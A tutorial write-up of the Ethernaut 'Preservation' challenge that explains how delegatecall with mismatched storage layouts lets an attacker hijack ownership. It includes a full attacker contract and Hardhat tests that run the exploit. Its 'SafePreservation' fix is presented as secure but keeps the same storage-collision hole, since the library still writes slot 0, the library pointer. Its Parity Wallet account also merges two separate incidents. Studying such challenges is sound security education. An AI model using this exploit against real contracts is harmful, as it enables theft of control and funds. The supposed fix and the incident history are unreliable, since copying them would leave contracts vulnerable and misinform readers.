Appearance
Exploiting delegatecall in Solidity: A Deep Dive into the Ethernaut "Preservation" Challenge
Introduction
The Ethereum blockchain has revolutionized decentralized applications through smart contracts, but with this power comes significant security considerations. One of the most subtle and dangerous vulnerabilities in Solidity smart contracts involves the improper use of low-level functions, particularly delegatecall. This article provides a comprehensive analysis of the Ethernaut "Preservation" challenge, demonstrating how a seemingly innocent library delegation pattern can lead to complete contract compromise.
Understanding the Challenge
Problem Overview
The Preservation challenge presents a contract that uses library contracts to store timestamps for different time zones. At first glance, it appears to be a straightforward implementation of code reuse through libraries. However, the contract contains a critical vulnerability that allows an attacker to claim ownership by exploiting how delegatecall interacts with storage layout.
The contract's stated purpose is simple: maintain two different time storage instances for different time zones using library contracts. The implementation uses delegatecall to execute library functions while preserving the calling contract's context. This design decision, while seemingly efficient, introduces a fatal flaw.
Key Components
The challenge consists of two main contracts:
- Preservation.sol: The main contract that users interact with
- LibraryContract.sol: A simple library for storing timestamps
The vulnerability stems from the interaction between these contracts and how delegatecall manipulates storage when the calling and called contracts have different storage layouts.
Technical Background
The delegatecall Operation
delegatecall is a low-level function in Solidity that executes code from another contract while preserving the context (storage, balance, address) of the calling contract. Unlike a regular external call, delegatecall doesn't switch execution context but instead runs the called contract's code within the current contract's environment.
solidity
// Basic delegatecall syntax
(bool success, ) = targetAddress.delegatecall(abi.encodeWithSignature("functionName(uint256)", parameter));
The critical characteristic of delegatecall is context preservation:
- The
msg.senderandmsg.valueremain unchanged - Storage modifications affect the calling contract's storage, not the called contract's
- The code executed is from the called contract, but the storage accessed is from the calling contract
Storage Layout in Solidity
Solidity stores state variables in storage slots sequentially, starting from slot 0. Each storage slot is 32 bytes (256 bits). The storage layout is determined at compile time and is crucial for understanding how delegatecall can be exploited.
solidity
contract Example {
address public var1; // Slot 0
uint256 public var2; // Slot 1
uint128 public var3; // Slot 2 (first 16 bytes)
uint128 public var4; // Slot 2 (last 16 bytes)
}
When using delegatecall, the called contract's code accesses storage slots based on its own layout definition, but these slots reference the calling contract's storage. If the storage layouts don't match exactly, unintended storage slots can be modified.
Analyzing the Vulnerable Contract
Preservation Contract Structure
Let's examine the Preservation contract's storage layout:
solidity
contract Preservation {
// public library contracts
address public timeZone1Library; // Slot 0
address public timeZone2Library; // Slot 1
address public owner; // Slot 2
uint256 storedTime; // Slot 3
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
// ... rest of the contract
}
The contract has four state variables occupying slots 0 through 3. The setTimeSignature constant is not stored in storage but in the contract's bytecode.
Library Contract Structure
The LibraryContract has a different storage layout:
solidity
contract LibraryContract {
// stores a timestamp
uint256 storedTime; // Slot 0
function setTime(uint256 _time) public {
storedTime = _time;
}
}
This is where the vulnerability becomes apparent. When Preservation calls LibraryContract.setTime() via delegatecall, the library code attempts to write to its slot 0, which corresponds to Preservation's slot 0 (timeZone1Library).
The Delegatecall Execution
When setFirstTime is called:
solidity
function setFirstTime(uint256 _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
- The function makes a
delegatecalltotimeZone1Library - The library's
setTimefunction executes in the context ofPreservation - The library code writes
_timeStampto its slot 0 - Since this is a
delegatecall, this actually writes toPreservation's slot 0 Preservation.timeZone1Libraryis overwritten with_timeStamp
The Exploit Strategy
Attack Vector
The vulnerability allows us to:
- Overwrite
timeZone1Librarywith an attacker-controlled address - Make subsequent calls to the attacker's contract
- Use the attacker's
setTimefunction to overwrite theownervariable
Step-by-Step Attack Process
Step 1: Deploy Attacker Contract The attacker needs to deploy a contract with a compatible setTime function that will modify the owner variable when called via delegatecall.
Step 2: Overwrite Library Pointer Call setFirstTime with the attacker's contract address (cast to uint256). This overwrites timeZone1Library.
Step 3: Take Ownership Call setFirstTime again, which now delegates to the attacker's contract. The attacker's setTime function writes to slot 2 (the owner slot).
Attacker Contract Implementation
Here's the complete attacker contract with detailed explanations:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// Interface for interacting with the target contract
interface IPreservation {
function setFirstTime(uint256) external;
function owner() external view returns (address);
}
contract Hack {
// Matching storage layout with Preservation contract
// This is CRITICAL for the attack to work correctly
address public timeZone1Library; // Slot 0
address public timeZone2Library; // Slot 1
address public owner; // Slot 2
// Immutable reference to the target contract
IPreservation private immutable target;
constructor(address _target) {
target = IPreservation(_target);
}
function attack() external {
// Step 1: Overwrite timeZone1Library with attacker contract address
// We need to convert address to uint256 for the parameter
target.setFirstTime(uint256(uint160(address(this))));
// Step 2: Now that timeZone1Library points to this contract,
// calling setFirstTime will execute this contract's setTime function
// We pass the new owner address (msg.sender) as uint256
target.setFirstTime(uint256(uint160(address(msg.sender))));
// Verify the attack was successful
require(target.owner() == msg.sender, "Claim ownership fail!");
}
// This function must match the signature expected by Preservation
// When called via delegatecall, it will write to slot 2 of the calling contract
function setTime(uint256 _time) public {
// Convert the uint256 parameter back to address and assign to owner
// This writes to slot 2 (owner) in the Preservation contract
owner = address(uint160(_time));
}
}
Detailed Attack Explanation
First Call: target.setFirstTime(uint256(uint160(address(this))))
address(this)is the attacker contract's addressuint160()converts address to 160-bit integeruint256()extends to 256 bits for the function parameter- Preservation calls
delegatecallto the currenttimeZone1Library(original library) - The library's
setTimewrites the attacker's address to slot 0 timeZone1Librarynow points to the attacker's contract
Second Call: target.setFirstTime(uint256(uint160(address(msg.sender))))
- Preservation calls
delegatecallto the newtimeZone1Library(attacker's contract) - Attacker's
setTimefunction executes - The function writes
msg.sender(attacker's EOA) to slot 2 - Slot 2 in Preservation is the
ownervariable - The attacker now owns the contract
Testing the Exploit
Hardhat Test Implementation
Here's a comprehensive test suite that demonstrates the attack:
typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
import { LibraryContract, Preservation, Hack } from "../typechain-types";
describe("Preservation Exploit", function () {
let preservation: Preservation;
let library1: LibraryContract;
let library2: LibraryContract;
let hack: Hack;
let owner: SignerWithAddress;
let attacker: SignerWithAddress;
beforeEach(async function () {
// Get signers
[owner, attacker] = await ethers.getSigners();
// Deploy library contracts
const LibraryFactory = await ethers.getContractFactory("LibraryContract");
library1 = await LibraryFactory.deploy();
library2 = await LibraryFactory.deploy();
await library1.deployed();
await library2.deployed();
// Deploy Preservation contract
const PreservationFactory = await ethers.getContractFactory("Preservation");
preservation = await PreservationFactory.deploy(
library1.address,
library2.address
);
await preservation.deployed();
// Verify initial state
expect(await preservation.owner()).to.equal(owner.address);
expect(await preservation.timeZone1Library()).to.equal(library1.address);
expect(await preservation.timeZone2Library()).to.equal(library2.address);
});
describe("Storage Layout Analysis", function () {
it("should show matching storage slots", async function () {
// Check Preservation storage layout
const slot0 = await ethers.provider.getStorageAt(preservation.address, 0);
const slot1 = await ethers.provider.getStorageAt(preservation.address, 1);
const slot2 = await ethers.provider.getStorageAt(preservation.address, 2);
console.log("Preservation Slot 0 (timeZone1Library):", slot0);
console.log("Preservation Slot 1 (timeZone2Library):", slot1);
console.log("Preservation Slot 2 (owner):", slot2);
});
});
describe("The Exploit", function () {
it("should allow attacker to claim ownership", async function () {
// Deploy attacker contract
const HackFactory = await ethers.getContractFactory("Hack");
hack = await HackFactory.connect(attacker).deploy(preservation.address);
await hack.deployed();
// Execute attack
const attackTx = await hack.connect(attacker).attack();
await attackTx.wait();
// Verify attack success
const newOwner = await preservation.owner();
expect(newOwner).to.equal(attacker.address);
// Verify library pointer was changed
const newLibrary = await preservation.timeZone1Library();
expect(newLibrary).to.equal(hack.address);
});
it("should demonstrate step-by-step exploitation", async function () {
// Step 1: Attacker deploys malicious contract
const HackFactory = await ethers.getContractFactory("Hack");
hack = await HackFactory.connect(attacker).deploy(preservation.address);
await hack.deployed();
// Check initial state
console.log("Initial owner:", await preservation.owner());
console.log("Initial timeZone1Library:", await preservation.timeZone1Library());
// Step 2: First call to overwrite library pointer
const firstCallTx = await preservation.connect(attacker).setFirstTime(
ethers.BigNumber.from(hack.address)
);
await firstCallTx.wait();
console.log("After first call - timeZone1Library:", await preservation.timeZone1Library());
// Step 3: Second call to change owner
const secondCallTx = await preservation.connect(attacker).setFirstTime(
ethers.BigNumber.from(attacker.address)
);
await secondCallTx.wait();
console.log("Final owner:", await preservation.owner());
// Verify final state
expect(await preservation.owner()).to.equal(attacker.address);
expect(await preservation.timeZone1Library()).to.equal(hack.address);
});
});
describe("Security Analysis", function () {
it("should demonstrate safe alternative implementation", async function () {
// This test shows how to fix the vulnerability
const SafePreservationFactory = await ethers.getContractFactory("SafePreservation");
const safePreservation = await SafePreservationFactory.deploy(
library1.address,
library2.address
);
await safePreservation.deployed();
// Attempt attack on safe version should fail
const HackFactory = await ethers.getContractFactory("Hack");
const hackAttempt = await HackFactory.connect(attacker).deploy(safePreservation.address);
await hackAttempt.deployed();
try {
await hackAttempt.connect(attacker).attack();
expect.fail("Attack should have failed on safe contract");
} catch (error: any) {
expect(error.message).to.include("revert");
}
});
});
});
Prevention and Best Practices
Secure Implementation Patterns
1. Use Library Contracts with Care When using libraries with delegatecall, ensure identical storage layouts or use stateless libraries.
2. Safe Preservation Contract Implementation Here's a secure version of the Preservation contract:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SafePreservation {
struct TimeZone {
address libraryAddress;
uint256 storedTime;
}
TimeZone public timeZone1;
TimeZone public timeZone2;
address public owner;
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1.libraryAddress = _timeZone1LibraryAddress;
timeZone2.libraryAddress = _timeZone2LibraryAddress;
owner = msg.sender;
}
// Safe implementation using structs to prevent storage collision
function setFirstTime(uint256 _timeStamp) public {
(bool success, ) = timeZone1.libraryAddress.delegatecall(
abi.encodeWithSignature("setTime(uint256)", _timeStamp)
);
require(success, "Delegatecall failed");
// Update stored time in our struct
timeZone1.storedTime = _timeStamp;
}
function setSecondTime(uint256 _timeStamp) public {
(bool success, ) = timeZone2.libraryAddress.delegatecall(
abi.encodeWithSignature("setTime(uint256)", _timeStamp)
);
require(success, "Delegatecall failed");
timeZone2.storedTime = _timeStamp;
}
}
// Stateless library - much safer approach
contract SafeLibraryContract {
// No storage variables - completely stateless
function setTime(uint256 _time) public pure returns (uint256) {
// Just return the time, don't store it
return _time;
}
}
3. Additional Security Measures
solidity
// Security-enhanced library pattern
contract SecureLibrary {
// Use function modifiers to prevent misuse
modifier onlyCompatibleContract() {
// Check that caller has compatible storage layout
require(msg.sender == compatibleContract, "Incompatible contract");
_;
}
address private immutable compatibleContract;
constructor(address _compatibleContract) {
compatibleContract = _compatibleContract;
}
function setTime(uint256 _time) public onlyCompatibleContract {
// Implementation
}
}
Key Security Principles
Storage Layout Consistency: Always ensure calling and called contracts have identical storage layouts when using
delegatecall.Immutable Library Pointers: Consider making library addresses immutable after deployment.
Access Controls: Implement proper access controls for critical functions.
Input Validation: Validate all inputs, especially when they affect storage layout.
Use Interfaces: Define clear interfaces for library contracts.
Real-World Implications
Historical Incidents
The delegatecall vulnerability pattern has been exploited in several high-profile incidents:
Parity Wallet Hack (2017): A similar vulnerability led to the loss of $30 million worth of ETH when an attacker became the owner of a library contract and self-destructed it.
Various DeFi Exploits: Multiple decentralized finance protocols have suffered from storage collision attacks.
Industry Impact
Understanding these vulnerabilities is crucial for:
- Smart contract auditors
- Blockchain developers
- Security researchers
- Protocol designers
Conclusion
The Preservation challenge demonstrates a classic yet dangerous vulnerability in Solidity smart contracts. The improper use of delegatecall without considering storage layout can lead to complete contract compromise. This exploit highlights several critical lessons:
Context Preservation is Powerful but Dangerous:
delegatecallpreserves context, which can lead to unintended storage modifications if not handled correctly.Storage Layout is Critical: Compile-time storage layout decisions have runtime security implications.
Defense in Depth: Multiple security layers are necessary for robust smart contract development.
Testing is Essential: Comprehensive testing, including edge cases and attack scenarios, should be part of every smart contract development lifecycle.
As blockchain technology evolves, understanding these fundamental security concepts becomes increasingly important. Developers must balance functionality with security, always considering how each design decision might be exploited by malicious actors.
The Preservation challenge serves as an excellent educational tool, teaching developers about the intricacies of Ethereum's execution model while emphasizing the importance of secure coding practices in the decentralized world.